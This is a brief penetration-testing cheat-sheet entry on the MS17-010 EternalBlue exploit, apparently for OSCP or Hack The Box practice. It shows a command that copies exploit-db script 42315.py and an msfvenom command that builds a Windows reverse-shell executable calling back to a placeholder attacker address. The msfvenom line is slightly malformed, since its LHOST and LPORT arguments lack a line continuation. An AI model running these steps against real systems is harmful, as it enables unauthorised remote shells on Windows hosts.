# MS17-010

## EternalBlue (zzz\_exploit.py)

```bash
cp /usr/share/exploitdb/exploits/windows/remote/42315.py .
```

### Shellcode

```bash
msfvenom -p windows/shell_reverse_tcp -f exe \
    -o reverse.exe
    LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
```

## References

* [https://github.com/worawit/MS17-010](https://github.com/worawit/MS17-010)
* [https://medium.com/@sdgeek/hack-the-box-htb-blue-115b3f563125](https://medium.com/@sdgeek/hack-the-box-htb-blue-115b3f563125)
* [https://www.reddit.com/r/oscp/comments/9mbarh/ms17010\_for\_all\_os/](https://www.reddit.com/r/oscp/comments/9mbarh/ms17010_for_all_os/)
